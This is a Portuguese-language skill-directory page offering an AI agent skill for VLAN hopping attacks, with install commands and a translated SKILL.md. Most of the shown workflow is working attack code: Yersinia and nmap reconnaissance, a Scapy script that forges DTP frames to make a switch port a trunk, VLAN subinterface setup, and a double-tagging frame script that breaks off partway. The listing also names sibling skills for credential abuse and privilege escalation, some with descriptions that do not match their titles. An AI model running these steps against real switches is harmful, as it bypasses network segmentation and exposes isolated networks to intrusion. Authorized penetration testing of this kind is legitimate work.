performing-vlan-hopping-attack
Permite que seu agente simule ataques de 'VLAN hopping' para testar a segurança de redes segmentadas.
O que ela faz
Este recurso simula ataques de 'VLAN hopping' em redes de teste autorizadas. Ele verifica se a segmentação da rede por VLANs está funcionando corretamente e se as portas dos equipamentos estão seguras.
Quando usar
- ✓Para testar a segurança de redes com VLANs.
- ✓Para verificar se portas de rede estão bem configuradas.
- ✓Para demonstrar riscos de segurança para equipes de rede.
Exemplo do que pedir para a IA
“Simule um ataque de VLAN hopping na rede de testes.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O agente tenta enganar os equipamentos de rede para que pensem que são parte de um 'trunk' (conexão principal) ou envia pacotes com marcações duplas para acessar outras redes. Isso é feito usando ferramentas específicas em um ambiente controlado.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-vlan-hopping-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-vlan-hopping-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de VLAN Hopping
Quando Usar
- Testar a eficácia da segmentação de rede baseada em VLAN durante testes de penetração autorizados
- Validar se as configurações de porta trunk de switch impedem o acesso não autorizado a VLANs
- Avaliar se as configurações de tagging 802.1Q e VLAN nativa resistem a ataques de double-tagging
- Demonstrar às equipes de rede por que o hardening adequado de switches é crítico para o isolamento entre zonas
- Verificar se o DTP (Dynamic Trunking Protocol) está desabilitado em todas as portas de acesso
Não use em switches de produção sem autorização explícita e aprovação de gerenciamento de mudanças, contra VLANs de infraestrutura crítica (SCADA, dispositivos médicos) sem controles de segurança, ou como um vetor de negação de serviço.
Pré-requisitos
- Autorização por escrito especificando VLANs e switches em escopo para teste
- Acesso físico ou virtual a uma porta de acesso de switch na rede alvo
- Ferramentas Yersinia, Scapy e frogger VLAN hopping instaladas no Kali Linux
- Compreensão de trunking 802.1Q, DTP e tagging de VLAN no nível do frame
- Acesso à CLI do switch para verificação de configurações (somente leitura é suficiente)
- Wireshark para capturar e verificar frames com tags
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão por escrito para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1: Enumerar Configuração de VLAN
# Identify the current VLAN assignment of the attacker port
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null
# Use CDP/LLDP to discover switch information
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# Or use lldpd
lldpcli show neighbors
# If CDP is enabled, capture CDP frames
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# Use Yersinia to discover DTP and VTP information
sudo yersinia -G &
# Or command line:
sudo yersinia dtp -attack 0 -interface eth0
# This listens for DTP frames to learn trunk negotiation status
# Nmap to identify hosts on other VLANs (if routing exists)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
Passo 2: Tentar Spoofing de Switch (Ataque DTP)
# Use Yersinia to send DTP frames and negotiate a trunk
sudo yersinia dtp -attack 1 -interface eth0
# This sends DTP desirable frames to convert the access port to a trunk
# If successful, the port becomes a trunk carrying all VLANs
# Alternatively, use Scapy to craft DTP frames
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *
# Send DTP desirable frame to negotiate trunk
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2004) /
DTP(tlvlist=[
DTPDomain(type=0x0001, domain=""),
DTPStatus(type=0x0002, status=b"\x03"), # Desirable
DTPType(type=0x0003, dtptype=b"\xa5"), # 802.1Q trunk
DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
])
)
sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP desirable frames sent. Check if trunk is negotiated.")
PYEOF
# If trunk negotiation succeeds, verify by capturing tagged frames
sudo tcpdump -en -i eth0 'vlan' -c 10
# Create VLAN subinterfaces to access other VLANs
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up
# Verify access to other VLANs
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
Passo 3: Tentar Ataque de Double Tagging
# Double tagging funciona quando:
# 1. O atacante está na VLAN nativa do trunk
# 2. A VLAN alvo é diferente da VLAN nativa
# 3. O switch remove a tag externa e encaminha a tag interna
python3 << 'PYEOF'
from scapy.all import *
# Criar frame com double tagging
# Tag externa: VLAN Nativa (ex: VLAN 1)
# Tag interna: VLAN Alvo (ex: VLAN 20 - VLAN do servidor)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"
double_tagged = (
Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
Dot1Q(vlan=1) / # Tag externa: VLAN nativa (será removida)
Dot1Q(vlan=20) / # Tag interna: VLAN alvo (será encaminhada)
IP(dst=target_ip, src="10.10.20.99") /
ICMP(type=8) # Requisição de eco
)
…
Perguntas frequentes
O que é VLAN hopping?
É um tipo de ataque de rede que explora configurações incorretas de equipamentos para acessar redes (VLANs) que não deveriam ser acessíveis.
Posso usar isso na minha rede de produção?
Não, este recurso só deve ser usado em ambientes de teste autorizados e com permissão explícita. Usar em produção pode causar problemas graves.
Quais ferramentas são usadas?
Ferramentas como Yersinia, Scapy e frogger são usadas para simular os ataques em um ambiente controlado.
Detalhes
Descrição original do autor
Simulates VLAN hopping attacks using switch spoofing and 802.1Q double tagging techniques in authorized lab environments to test VLAN segmentation effectiveness and switch port security. Use during an authorized penetration test to validate trunk port hardening, confirm DTP is disabled on access ports, and demonstrate Layer 2 segmentation bypass risk to network teams.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6165
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC